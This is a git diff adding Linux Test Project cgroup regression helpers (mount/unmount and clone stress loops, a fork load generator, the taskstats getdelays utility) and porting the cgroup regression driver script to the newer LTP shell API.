+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2009 FUJITSU LIMITED
+# Author: Li Zefan <lizf@cn.fujitsu.com>
+
+trap exit USR1
+
+while true; do
+	cat /proc/sched_debug > /dev/null
+done
diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_6_1.sh b/testcases/kernel/controllers/cgroup/cgroup_regression_6_1.sh
new file mode 100755
index 0000000..822d630
--- /dev/null
+++ b/testcases/kernel/controllers/cgroup/cgroup_regression_6_1.sh
@@ -0,0 +1,12 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2009 FUJITSU LIMITED
+# Author: Li Zefan <lizf@cn.fujitsu.com>
+
+trap exit USR1
+
+while true; do
+	mount -t cgroup -o ns xxx cgroup/ > /dev/null 2>&1
+	rmdir cgroup/[1-9]* > /dev/null 2>&1
+	umount cgroup/ > /dev/null 2>&1
+done
diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_6_2.c b/testcases/kernel/controllers/cgroup/cgroup_regression_6_2.c
new file mode 100644
index 0000000..b79b937
--- /dev/null
+++ b/testcases/kernel/controllers/cgroup/cgroup_regression_6_2.c
@@ -0,0 +1,36 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2009 FUJITSU LIMITED
+ * Author: Li Zefan <lizf@cn.fujitsu.com>
+ */
+
+#define _GNU_SOURCE
+
+#include <sched.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include "test.h"
+
+#define DEFAULT_USEC	30000
+
+int foo(void __attribute__ ((unused)) * arg)
+{
+	return 0;
+}
+
+int main(int argc, char **argv)
+{
+	int usec;
+
+	if (argc == 2)
+		usec = atoi(argv[1]);
+	else
+		usec = DEFAULT_USEC;
+
+	while (1) {
+		usleep(usec);
+		ltp_clone_quick(CLONE_NEWNS, foo, NULL);
+	}
+
+	tst_exit();
+}
diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_9_1.sh b/testcases/kernel/controllers/cgroup/cgroup_regression_9_1.sh
new file mode 100755
index 0000000..d5a3fa9
--- /dev/null
+++ b/testcases/kernel/controllers/cgroup/cgroup_regression_9_1.sh
@@ -0,0 +1,12 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2009 FUJITSU LIMITED
+# Author: Li Zefan <lizf@cn.fujitsu.com>
+
+trap exit USR1
+
+while true; do
+	mount -t cgroup xxx cgroup/ > /dev/null 2>&1
+	cat cgroup/release_agent > /dev/null 2>&1
+	umount cgroup/ > /dev/null 2>&1
+done
diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_9_2.sh b/testcases/kernel/controllers/cgroup/cgroup_regression_9_2.sh
new file mode 100755
index 0000000..0a9bbb1
--- /dev/null
+++ b/testcases/kernel/controllers/cgroup/cgroup_regression_9_2.sh
@@ -0,0 +1,11 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2009 FUJITSU LIMITED
+# Author: Li Zefan <lizf@cn.fujitsu.com>
+
+trap exit USR1
+
+while true; do
+	mount -t cgroup xxx cgroup/ > /dev/null 2>&1
+	umount cgroup/ > /dev/null 2>&1
+done
diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_fork_processes.c b/testcases/kernel/controllers/cgroup/cgroup_regression_fork_processes.c
new file mode 100644
index 0000000..6f2498b
--- /dev/null
+++ b/testcases/kernel/controllers/cgroup/cgroup_regression_fork_processes.c
@@ -0,0 +1,34 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2009 FUJITSU LIMITED
+ *
+ * Author: Li Zefan <lizf@cn.fujitsu.com>
+ */
+
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+int main(void)
+{
+	int i;
+	pid_t pid;
+
+	while (1) {
+		for (i = 0; i < 200; i++) {
+			pid = fork();
+			if (pid == 0) {
+				exit(0);
+			} else if (pid == -1) {
+				continue;
+			}
+		}
+
+		for (i = 0; i < 200; i++)
+			if (wait(NULL) < 0)
+				break;
+	}
+
+	return 0;
+}
diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_getdelays.c b/testcases/kernel/controllers/cgroup/cgroup_regression_getdelays.c
new file mode 100644
index 0000000..24915ca
--- /dev/null
+++ b/testcases/kernel/controllers/cgroup/cgroup_regression_getdelays.c
@@ -0,0 +1,538 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Utility to get per-pid and per-tgid delay accounting statistics
+ * Also illustrates usage of the taskstats interface
+ *
+ * Copyright (C) Shailabh Nagar, IBM Corp. 2005
+ * Copyright (C) Balbir Singh, IBM Corp. 2006
+ * Copyright (c) Jay Lan, SGI. 2006
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <errno.h>
+#include <unistd.h>
+#include <poll.h>
+#include <string.h>
+#include <fcntl.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/socket.h>
+#include <signal.h>
+#include <linux/types.h>
+#include "config.h"
+
+#ifdef HAVE_LINUX_GENETLINK_H
+#include <linux/genetlink.h>
+#endif
+#ifdef HAVE_LINUX_TASKSTATS_H
+#include <linux/taskstats.h>
+#endif
+#ifdef HAVE_LINUX_CGROUPSTATS_H
+#include <linux/cgroupstats.h>
+#endif
+
+#if defined(HAVE_LINUX_GENETLINK_H) && defined(HAVE_LINUX_TASKSTATS_H)
+
+/*
+ * Generic macros for dealing with netlink sockets. Might be duplicated
+ * elsewhere. It is recommended that commercial grade applications use
+ * libnl or libnetlink and use the interfaces provided by the library
+ */
+#define GENLMSG_DATA(glh)	((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
+#define GENLMSG_PAYLOAD(glh)	(NLMSG_PAYLOAD(glh, 0) - GENL_HDRLEN)
+#define NLA_DATA(na)		((void *)((char*)(na) + NLA_HDRLEN))
+#define NLA_PAYLOAD(len)	(len - NLA_HDRLEN)
+
+#define err(code, fmt, arg...)			\
+	do {					\
+		fprintf(stderr, fmt, ##arg);	\
+		exit(code);			\
+	} while (0)
+
+int done;
+int rcvbufsz;
+char name[100];
+int dbg;
+int print_delays;
+int print_io_accounting;
+int print_task_context_switch_counts;
+
+#define PRINTF(fmt, arg...) {			\
+	    if (dbg) {				\
+		printf(fmt, ##arg);		\
+	    }					\
+	}
+
+/* Maximum size of response requested or message sent */
+#define MAX_MSG_SIZE	1024
+/* Maximum number of cpus expected to be specified in a cpumask */
+#define MAX_CPUS	32
+
+char cpumask[100 + 6 * MAX_CPUS];
+
+static void usage(void)
+{
+	fprintf(stderr, "getdelays [-dilv] [-w logfile] [-r bufsize] "
+		"[-m cpumask] [-t tgid] [-p pid]\n");
+	fprintf(stderr, "  -d: print delayacct stats\n");
+	fprintf(stderr, "  -i: print IO accounting (works only with -p)\n");
+	fprintf(stderr, "  -l: listen forever\n");
+	fprintf(stderr, "  -v: debug on\n");
+	fprintf(stderr, "  -C: container path\n");
+}
+
+struct msgtemplate {
+	struct nlmsghdr n;
+	struct genlmsghdr g;
+	char buf[MAX_MSG_SIZE];
+};
+
+/*
+ * Create a raw netlink socket and bind
+ */
+static int create_nl_socket(int protocol)
+{
+	int fd;
+	struct sockaddr_nl local;
+
+	fd = socket(AF_NETLINK, SOCK_RAW, protocol);
+	if (fd < 0)
+		return -1;
+
+	if (rcvbufsz)
+		if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF,
+			       &rcvbufsz, sizeof(rcvbufsz)) < 0) {
+			fprintf(stderr, "Unable to set socket rcv buf size "
+				"to %d\n", rcvbufsz);
+			return -1;
+		}
+
+	memset(&local, 0, sizeof(local));
+	local.nl_family = AF_NETLINK;
+
+	if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
+		goto error;
+
+	return fd;
+error:
+	close(fd);
+	return -1;
+}
+
+int send_cmd(int sd, __u16 nlmsg_type, __u32 nlmsg_pid,
+	     __u8 genl_cmd, __u16 nla_type, void *nla_data, int nla_len)
+{
+	struct nlattr *na;
+	struct sockaddr_nl nladdr;
+	int r, buflen;
+	char *buf;
+
+	struct msgtemplate msg;
+
+	msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
+	msg.n.nlmsg_type = nlmsg_type;
+	msg.n.nlmsg_flags = NLM_F_REQUEST;
+	msg.n.nlmsg_seq = 0;
+	msg.n.nlmsg_pid = nlmsg_pid;
+	msg.g.cmd = genl_cmd;
+	msg.g.version = 0x1;
+	na = (struct nlattr *)GENLMSG_DATA(&msg);
+	na->nla_type = nla_type;
+	na->nla_len = nla_len + 1 + NLA_HDRLEN;
+	memcpy(NLA_DATA(na), nla_data, nla_len);
+	msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
+
+	buf = (char *)&msg;
+	buflen = msg.n.nlmsg_len;
+	memset(&nladdr, 0, sizeof(nladdr));
+	nladdr.nl_family = AF_NETLINK;
+	while ((r = sendto(sd, buf, buflen, 0, (struct sockaddr *)&nladdr,
+			   sizeof(nladdr))) < buflen) {
+		if (r > 0) {
+			buf += r;
+			buflen -= r;
+		} else if (errno != EAGAIN)
+			return -1;
+	}
+	return 0;
+}
+
+/*
+ * Probe the controller in genetlink to find the family id
+ * for the TASKSTATS family
+ */
+int get_family_id(int sd)
+{
+	struct {
+		struct nlmsghdr n;
+		struct genlmsghdr g;
+		char buf[256];
+	} ans;
+
+	int id = 0;
+	struct nlattr *na;
+	int rep_len;
+
+	strcpy(name, TASKSTATS_GENL_NAME);
+	send_cmd(sd, GENL_ID_CTRL, getpid(), CTRL_CMD_GETFAMILY,
+		 CTRL_ATTR_FAMILY_NAME, (void *)name,
+		 strlen(TASKSTATS_GENL_NAME) + 1);
+
+	rep_len = recv(sd, &ans, sizeof(ans), 0);
+	if (ans.n.nlmsg_type == NLMSG_ERROR ||
+	    (rep_len < 0) || !NLMSG_OK((&ans.n), rep_len))
+		return 0;
+
+	na = (struct nlattr *)GENLMSG_DATA(&ans);
+	na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
+	if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
+		id = *(__u16 *) NLA_DATA(na);
+	}
+	return id;
+}
+
+void print_delayacct(struct taskstats *t)
+{
+	printf("\n\nCPU   %15s%15s%15s%15s\n"
+	       "      %15llu%15llu%15llu%15llu\n"
+	       "IO    %15s%15s\n"
+	       "      %15llu%15llu\n"
+	       "SWAP  %15s%15s\n" "      %15llu%15llu\n" "RECLAIM  %12s%15s\n"
+#ifdef HAVE_STRUCT_TASKSTATS_FREEPAGES_COUNT
+	       "      %15llu%15llu\n"
+#endif
+	       , "count", "real total", "virtual total", "delay total",
+	       (unsigned long long)t->cpu_count,
+	       (unsigned long long)t->cpu_run_real_total,
+	       (unsigned long long)t->cpu_run_virtual_total,
+	       (unsigned long long)t->cpu_delay_total,
+	       "count", "delay total",
+	       (unsigned long long)t->blkio_count,
+	       (unsigned long long)t->blkio_delay_total,
+	       "count", "delay total",
+	       (unsigned long long)t->swapin_count,
+	       (unsigned long long)t->swapin_delay_total, "count", "delay total"
+#ifdef HAVE_STRUCT_TASKSTATS_FREEPAGES_COUNT
+	       , (unsigned long long)t->freepages_count,
+	       (unsigned long long)t->freepages_delay_total
+#endif
+	    );
+}
+
+void task_context_switch_counts(struct taskstats *t)
+{
+#ifdef HAVE_STRUCT_TASKSTATS_NVCSW
+	printf("\n\nTask   %15s%15s\n"
+	       "	%15llu%15llu\n",
+	       "voluntary", "nonvoluntary",
+	       (unsigned long long)t->nvcsw, (unsigned long long)t->nivcsw);
+#endif
+}
+
+#ifdef HAVE_LINUX_CGROUPSTATS_H
+void print_cgroupstats(struct cgroupstats *c)
+{
+	printf("sleeping %llu, blocked %llu, running %llu, stopped %llu, "
+	       "uninterruptible %llu\n", (unsigned long long)c->nr_sleeping,
+	       (unsigned long long)c->nr_io_wait,
+	       (unsigned long long)c->nr_running,
+	       (unsigned long long)c->nr_stopped,
+	       (unsigned long long)c->nr_uninterruptible);
+}
+#endif
+
+void print_ioacct(struct taskstats *t)
+{
+#ifdef HAVE_STRUCT_TASKSTATS_READ_BYTES
+	printf("%s: read=%llu, write=%llu, cancelled_write=%llu\n",
+	       t->ac_comm,
+	       (unsigned long long)t->read_bytes,
+	       (unsigned long long)t->write_bytes,
+	       (unsigned long long)t->cancelled_write_bytes);
+#endif
+}
+
+int main(int argc, char *argv[])
+{
+	int c, rc, rep_len, aggr_len, len2, cmd_type = 0;
+	__u16 id;
+	__u32 mypid;
+
+	struct nlattr *na;
+	int nl_sd = -1;
+	int len = 0;
+	pid_t tid = 0;
+	pid_t rtid = 0;
+
+	int fd = 0;
+	int count = 0;
+	int write_file = 0;
+	int maskset = 0;
+	char *logfile = NULL;
+	int loop = 0;
+	int containerset = 0;
+	char containerpath[1024];
+	int cfd = 0;
+
+	struct msgtemplate msg;
+
+	while (1) {
+		c = getopt(argc, argv, "qdiw:r:m:t:p:vlC:");
+		if (c < 0)
+			break;
+
+		switch (c) {
+		case 'd':
+			printf("print delayacct stats ON\n");
+			print_delays = 1;
+			break;
+		case 'i':
+			printf("printing IO accounting\n");
+			print_io_accounting = 1;
+			break;
+		case 'q':
+			printf("printing task/process context switch rates\n");
+			print_task_context_switch_counts = 1;
+			break;
+		case 'C':
+			containerset = 1;
+			strncpy(containerpath, optarg, strlen(optarg) + 1);
+			break;
+		case 'w':
+			logfile = strdup(optarg);
+			printf("write to file %s\n", logfile);
+			write_file = 1;
+			break;
+		case 'r':
+			rcvbufsz = atoi(optarg);
+			printf("receive buf size %d\n", rcvbufsz);
+			if (rcvbufsz < 0)
+				err(1, "Invalid rcv buf size\n");
+			break;
+		case 'm':
+			strncpy(cpumask, optarg, sizeof(cpumask));
+			maskset = 1;
+			printf("cpumask %s maskset %d\n", cpumask, maskset);
+			break;
+		case 't':
+			tid = atoi(optarg);
+			if (!tid)
+				err(1, "Invalid tgid\n");
+			cmd_type = TASKSTATS_CMD_ATTR_TGID;
+			break;
+		case 'p':
+			tid = atoi(optarg);
+			if (!tid)
+				err(1, "Invalid pid\n");
+			cmd_type = TASKSTATS_CMD_ATTR_PID;
+			break;
+		case 'v':
+			printf("debug on\n");
+			dbg = 1;
+			break;
+		case 'l':
+			printf("listen forever\n");
+			loop = 1;
+			break;
+		default:
+			usage();
+			exit(1);
+		}
+	}
+
+	if (write_file) {
+		fd = open(logfile, O_WRONLY | O_CREAT | O_TRUNC,
+			  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
+		if (fd == -1) {
+			perror("Cannot open output file\n");
+			exit(1);
+		}
+	}
+
+	if ((nl_sd = create_nl_socket(NETLINK_GENERIC)) < 0)
+		err(1, "error creating Netlink socket\n");
+
+	mypid = getpid();
+	id = get_family_id(nl_sd);
+	if (!id) {
+		fprintf(stderr, "Error getting family id, errno %d\n", errno);
+		exit(1);
+	}
+	PRINTF("family id %d\n", id);
+
+	if (maskset) {
+		rc = send_cmd(nl_sd, id, mypid, TASKSTATS_CMD_GET,
+			      TASKSTATS_CMD_ATTR_REGISTER_CPUMASK,
+			      &cpumask, strlen(cpumask) + 1);
+		PRINTF("Sent register cpumask, retval %d\n", rc);
+		if (rc < 0) {
+			fprintf(stderr, "error sending register cpumask\n");
+			exit(1);
+		}
+	}
+
+	if (tid && containerset) {
+		fprintf(stderr, "Select either -t or -C, not both\n");
+		exit(1);
+	}
+
+	if (tid) {
+		rc = send_cmd(nl_sd, id, mypid, TASKSTATS_CMD_GET,
+			      cmd_type, &tid, sizeof(__u32));
+		PRINTF("Sent pid/tgid, retval %d\n", rc);
+		if (rc < 0) {
+			fprintf(stderr, "error sending tid/tgid cmd\n");
+			exit(1);
+		}
+	}
+
+	if (containerset) {
+		cfd = open(containerpath, O_RDONLY);
+		if (cfd < 0) {
+			perror("error opening container file");
+			exit(1);
+		}
+#ifdef HAVE_LINUX_CGROUPSTATS_H
+		rc = send_cmd(nl_sd, id, mypid, CGROUPSTATS_CMD_GET,
+			      CGROUPSTATS_CMD_ATTR_FD, &cfd, sizeof(__u32));
+#else
+		errno = ENOSYS;
+		rc = -1;
+#endif
+		if (rc < 0) {
+			perror("error sending cgroupstats command");
+			exit(1);
+		}
+	}
+	if (!maskset && !tid && !containerset) {
+		usage();
+		exit(1);
+	}
+
+	do {
+		rep_len = recv(nl_sd, &msg, sizeof(msg), 0);
+		PRINTF("received %d bytes\n", rep_len);
+
+		if (rep_len < 0) {
+			fprintf(stderr, "nonfatal reply error: errno %d\n",
+				errno);
+			exit(1);
+		}
+		if (msg.n.nlmsg_type == NLMSG_ERROR ||
+		    !NLMSG_OK((&msg.n), rep_len)) {
+			struct nlmsgerr *err = NLMSG_DATA(&msg);
+			fprintf(stderr, "fatal reply error,  errno %d\n",
+				err->error);
+			exit(1);
+		}
+
+		PRINTF("nlmsghdr size=%zu, nlmsg_len=%d, rep_len=%d\n",
+		       sizeof(struct nlmsghdr), msg.n.nlmsg_len, rep_len);
+
+		rep_len = GENLMSG_PAYLOAD(&msg.n);
+
+		na = (struct nlattr *)GENLMSG_DATA(&msg);
+		len = 0;
+		while (len < rep_len) {
+			len += NLA_ALIGN(na->nla_len);
+			switch (na->nla_type) {
+			case TASKSTATS_TYPE_AGGR_TGID:
+				/* Fall through */
+			case TASKSTATS_TYPE_AGGR_PID:
+				aggr_len = NLA_PAYLOAD(na->nla_len);
+				len2 = 0;
+				/* For nested attributes, na follows */
+				na = (struct nlattr *)NLA_DATA(na);
+				done = 0;
+				while (len2 < aggr_len) {
+					switch (na->nla_type) {
+					case TASKSTATS_TYPE_PID:
+						rtid = *(int *)NLA_DATA(na);
+						if (print_delays)
+							printf("PID\t%d\n",
+							       rtid);
+						break;
+					case TASKSTATS_TYPE_TGID:
+						rtid = *(int *)NLA_DATA(na);
+						if (print_delays)
+							printf("TGID\t%d\n",
+							       rtid);
+						break;
+					case TASKSTATS_TYPE_STATS:
+						count++;
+						if (print_delays)
+							print_delayacct((struct
+									 taskstats
+									 *)
+									NLA_DATA
+									(na));
+						if (print_io_accounting)
+							print_ioacct((struct
+								      taskstats
+								      *)
+								     NLA_DATA
+								     (na));
+						if (print_task_context_switch_counts)
+							task_context_switch_counts
+							    ((struct taskstats
+							      *)NLA_DATA(na));
+						if (fd) {
+							if (write
+							    (fd, NLA_DATA(na),
+							     na->nla_len) < 0) {
+								err(1,
+								    "write error\n");
+							}
+						}
+						if (!loop)
+							goto done;
+						break;
+					default:
+						fprintf(stderr, "Unknown nested"
+							" nla_type %d\n",
+							na->nla_type);
+						break;
+					}
+					len2 += NLA_ALIGN(na->nla_len);
+					na = (struct nlattr *)((char *)na +
+							       len2);
+				}
+				break;
+#if HAVE_LINUX_CGROUPSTATS_H
+			case CGROUPSTATS_TYPE_CGROUP_STATS:
+				print_cgroupstats(NLA_DATA(na));
+				break;
+#endif
+			default:
+				fprintf(stderr, "Unknown nla_type %d\n",
+					na->nla_type);
+				exit(1);
+			}
+			na = (struct nlattr *)(GENLMSG_DATA(&msg) + len);
+		}
+	} while (loop);
+done:
+	if (maskset) {
+		rc = send_cmd(nl_sd, id, mypid, TASKSTATS_CMD_GET,
+			      TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK,
+			      &cpumask, strlen(cpumask) + 1);
+		printf("Sent deregister mask, retval %d\n", rc);
+		if (rc < 0)
+			err(rc, "error sending deregister cpumask\n");
+	}
+
+	close(nl_sd);
+	if (fd)
+		close(fd);
+	if (cfd)
+		close(cfd);
+	return 0;
+}
+#else
+int main(void)
+{
+	printf("System doesn't have needed netlink / taskstats support.\n");
+	return 1;
+}
+#endif
diff --git a/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh b/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh
index 30d0dbf..0e17ad1 100755
--- a/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh
+++ b/testcases/kernel/controllers/cgroup/cgroup_regression_test.sh
@@ -1,93 +1,87 @@
-#! /bin/bash
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2019 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) 2009 FUJITSU LIMITED
+# Author: Li Zefan <lizf@cn.fujitsu.com>
 
-################################################################################
-##                                                                            ##
-## Copyright (c) 2009 FUJITSU LIMITED                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
-##                                                                            ##
-################################################################################
+TST_TESTFUNC=test
+TST_SETUP=do_setup
+TST_CLEANUP=do_cleanup
+TST_CNT=10
+TST_NEEDS_ROOT=1
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_CMDS="awk dmesg find mountpoint rmdir"
 
-cd $LTPROOT/testcases/bin
+. cgroup_lib.sh
 
-export TCID="cgroup_regression_test"
-export TST_TOTAL=10
-export TST_COUNT=1
+do_setup()
+{
+	mkdir cgroup/
 
-failed=0
+	if tst_kvcmp -lt "2.6.29"; then
+		tst_brk TCONF ignored "test must be run with kernel 2.6.29 or newer"
+	fi
 
-if tst_kvcmp -lt "2.6.29"; then
-	tst_brkm TCONF ignored "test must be run with kernel 2.6.29 or newer"
-	exit 32
-fi
+	if [ ! -f /proc/cgroups ]; then
+		tst_brk TCONF ignored "Kernel does not support for control groups; skipping testcases";
+	fi
 
-if [ ! -f /proc/cgroups ]; then
-	tst_brkm TCONF ignored "Kernel does not support for control groups; skipping testcases";
-	exit 32
-fi
+	dmesg -c > /dev/null
+	NR_BUG=`dmesg | grep -c "kernel BUG"`
+	NR_NULL=`dmesg | grep -c "kernel NULL pointer dereference"`
+	NR_WARNING=`dmesg | grep -c "^WARNING"`
+	NR_LOCKDEP=`dmesg | grep -c "possible recursive locking detected"`
+}
 
-if [ "x$(id -ru)" != x0 ]; then
-	tst_brkm TCONF ignored "Test must be run as root"
-	exit 32
-fi
+do_cleanup()
+{
+	if mountpoint -q cgroup/; then
+		find cgroup/ -maxdepth 1 -depth -exec rmdir {} +
+		umount cgroup
+		rmdir cgroup
+	fi
+}
 
-dmesg -c > /dev/null
-nr_bug=`dmesg | grep -c "kernel BUG"`
-nr_null=`dmesg | grep -c "kernel NULL pointer dereference"`
-nr_warning=`dmesg | grep -c "^WARNING"`
-nr_lockdep=`dmesg | grep -c "possible recursive locking detected"`
-
-# check_kernel_bug - check if some kind of kernel bug happened
 check_kernel_bug()
 {
-	new_bug=`dmesg | grep -c "kernel BUG"`
-	new_null=`dmesg | grep -c "kernel NULL pointer dereference"`
-	new_warning=`dmesg | grep -c "^WARNING"`
-	new_lockdep=`dmesg | grep -c "possible recursive locking detected"`
+	local id="$1"
+	local ok_msg="no kernel bug was found"
+	local new_bug=`dmesg | grep -c "kernel BUG"`
+	local new_null=`dmesg | grep -c "kernel NULL pointer dereference"`
+	local new_warning=`dmesg | grep -c "^WARNING"`
+	local new_lockdep=`dmesg | grep -c "possible recursive locking detected"`
+
+	[ "$id" ] && ok_msg="$ok_msg for test $i"
 
 	# no kernel bug is detected
-	if [ $new_bug -eq $nr_bug -a $new_warning -eq $nr_warning -a \
-	     $new_null -eq $nr_null -a $new_lockdep -eq $nr_lockdep ]; then
-		return 1
+	if [ $new_bug -eq $NR_BUG -a $new_warning -eq $NR_WARNING -a \
+	     $new_null -eq $NR_NULL -a $new_lockdep -eq $NR_LOCKDEP ]; then
+		tst_res TPASS $ok_msg
+		return 0
 	fi
 
 	# some kernel bug is detected
-	if [ $new_bug -gt $nr_bug ]; then
-		tst_resm TFAIL "kernel BUG was detected!"
+	if [ $new_bug -gt $NR_BUG ]; then
+		tst_res TFAIL "kernel BUG was detected!"
 	fi
-	if [ $new_warning -gt $nr_warning ]; then
-		tst_resm TFAIL "kernel WARNING was detected!"
+	if [ $new_warning -gt $NR_WARNING ]; then
+		tst_res TFAIL "kernel WARNING was detected!"
 	fi
-	if [ $new_null -gt $nr_null ]; then
-		tst_resm TFAIL "kernel NULL pointer dereference!"
+	if [ $new_null -gt $NR_NULL ]; then
+		tst_res TFAIL "kernel NULL pointer dereference!"
 	fi
-	if [ $new_lockdep -gt $nr_lockdep ]; then
-		tst_resm TFAIL "kernel lockdep warning was detected!"
+	if [ $new_lockdep -gt $NR_LOCKDEP ]; then
+		tst_res TFAIL "kernel lockdep warning was detected!"
 	fi
 
-	nr_bug=$new_bug
-	nr_null=$new_null
-	nr_warning=$new_warning
-	nr_lockdep=$new_lockdep
+	NR_BUG=$new_bug
+	NR_NULL=$new_null
+	NR_WARNING=$new_warning
+	NR_LOCKDEP=$new_lockdep
 
-	echo "check_kernel_bug found something!"
+	tst_res TWARN "BUG FOUND!"
 	dmesg
-	failed=1
-	return 0
+	return 1
 }
 
 #---------------------------------------------------------------------------
@@ -100,28 +94,23 @@
 #         http://lkml.org/lkml/2008/4/16/493
 # Fix:    commit 0e04388f0189fa1f6812a8e1cb6172136eada87e
 #---------------------------------------------------------------------------
-test_1()
+test1()
 {
-	./fork_processes &
+	cgroup_regression_fork_processes &
 	sleep 1
 
 	mount -t cgroup -o none,name=foo cgroup cgroup/
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "failed to mount cgroup filesystem"
-		failed=1
-		/bin/kill -SIGTERM $!
+		tst_res TFAIL "failed to mount cgroup filesystem"
+		kill -TERM $!
 		return
 	fi
 	cat cgroup/tasks > /dev/null
 
+	kill -TERM $!
+	wait $! 2>/dev/null
+	umount cgroup
 	check_kernel_bug
-	if [ $? -eq 1 ]; then
-		tst_resm TPASS "no kernel bug was found"
-	fi
-
-	/bin/kill -SIGTERM $!
-	wait $!
-	umount cgroup/
 }
 
 #---------------------------------------------------------------------------
@@ -130,13 +119,15 @@
 # Links:  http://lkml.org/lkml/2008/2/25/12
 # Fix:    commit bc231d2a048010d5e0b49ac7fddbfa822fc41109
 #---------------------------------------------------------------------------
-test_2()
+test2()
 {
+	local val1
+	local val2
+
 	mount -t cgroup -o none,name=foo cgroup cgroup/
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "Failed to mount cgroup filesystem"
-		failed=1
-		return 1
+		tst_res TFAIL "Failed to mount cgroup filesystem"
+		return
 	fi
 
 	echo 0 > cgroup/notify_on_release
@@ -148,16 +139,13 @@
 	val2=`cat cgroup/1/notify_on_release`
 
 	if [ $val1 -ne 0 -o $val2 -ne 1 ]; then
-		tst_resm TFAIL "wrong notify_on_release value"
-		failed=1
+		tst_res TFAIL "wrong notify_on_release value"
 	else
-		tst_resm TPASS "notify_on_release is inherited"
+		tst_res TPASS "notify_on_release is inherited"
 	fi
 
 	rmdir cgroup/0 cgroup/1
-	umount cgroup/
-
-	return $failed
+	umount cgroup
 }
 
 #---------------------------------------------------------------------------
@@ -168,44 +156,45 @@
 #         http://lkml.org/lkml/2008/12/16/481
 # Fix:    commit a47295e6bc42ad35f9c15ac66f598aa24debd4e2
 #---------------------------------------------------------------------------
-test_3()
+test3()
 {
+	local cpu_subsys_path
+
 	if [ ! -e /proc/sched_debug ]; then
-		tst_resm TCONF "CONFIG_SCHED_DEBUG is not enabled"
+		tst_res TCONF "CONFIG_SCHED_DEBUG is not enabled"
 		return
 	fi
 
-	grep -q -w "cpu" /proc/cgroups
-	if [ $? -ne 0 ]; then
-		tst_resm TCONF "CONFIG_CGROUP_SCHED is not enabled"
+	if ! grep -q -w "cpu" /proc/cgroups; then
+		tst_res TCONF "CONFIG_CGROUP_SCHED is not enabled"
 		return
 	fi
 
+	cpu_subsys_path=$(get_cgroup_mountpoint "cpu")
+
 	# Run the test for 30 secs
-	mount -t cgroup -o cpu xxx cgroup/
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "Failed to mount cpu subsys"
-		failed=1
-		return
+	if [ -z "$cpu_subsys_path" ]; then
+		mount -t cgroup -o cpu xxx cgroup/
+		if [ $? -ne 0 ]; then
+			tst_res TFAIL "Failed to mount cpu subsys"
+			return
+		fi
+		cpu_subsys_path=cgroup
 	fi
 
-	./test_3_1.sh &
+	cgroup_regression_3_1.sh $cpu_subsys_path &
 	pid1=$!
-	./test_3_2.sh &
+	cgroup_regression_3_2.sh &
 	pid2=$!
 
 	sleep 30
-	/bin/kill -SIGUSR1 $pid1 $pid2
-	wait $pid1
-	wait $pid2
+	kill -USR1 $pid1 $pid2
+	wait $pid1 2>/dev/null
+	wait $pid2 2>/dev/null
 
+	rmdir $cpu_subsys_path/* 2> /dev/null
+	umount cgroup 2> /dev/null
 	check_kernel_bug
-	if [ $? -eq 1 ]; then
-		tst_resm TPASS "no kernel bug was found"
-	fi
-
-	rmdir cgroup/* 2> /dev/null
-	umount cgroup/
 }
 
 #---------------------------------------------------------------------------
@@ -214,33 +203,33 @@
 # Link:   http://lkml.org/lkml/2009/2/4/67
 # Fix:
 #---------------------------------------------------------------------------
-test_4()
+test4()
 {
+	local lines
+
 	if [ ! -e /proc/lockdep ]; then
-		tst_resm TCONF "CONFIG_LOCKDEP is not enabled"
+		tst_res TCONF "CONFIG_LOCKDEP is not enabled"
 		return
 	fi
 
 	# MAX_LOCKDEP_SUBCLASSES is 8, so number of subsys should be > 8
